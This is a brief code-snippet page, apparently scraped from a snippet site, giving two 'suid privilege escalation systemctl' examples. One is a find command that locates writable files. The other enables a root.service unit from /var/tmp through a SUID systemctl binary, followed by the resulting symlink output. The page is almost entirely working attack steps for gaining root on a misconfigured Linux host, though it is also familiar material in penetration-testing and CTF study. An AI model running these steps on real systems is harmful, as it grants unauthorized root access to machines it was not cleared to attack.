systemctl suid bit code example
Example 1: suid privilege escalation systemctl
find -type f -maxdepth 2 -writable
Example 2: suid privilege escalation systemctl
/bin/systemctl enable /var/tmp/root.service
Created symlink from /etc/systemd/system/multi-user.target.wants/root.service to /var/tmp/root.service
Created symlink from /etc/systemd/system/root.service to /var/tmp/root.service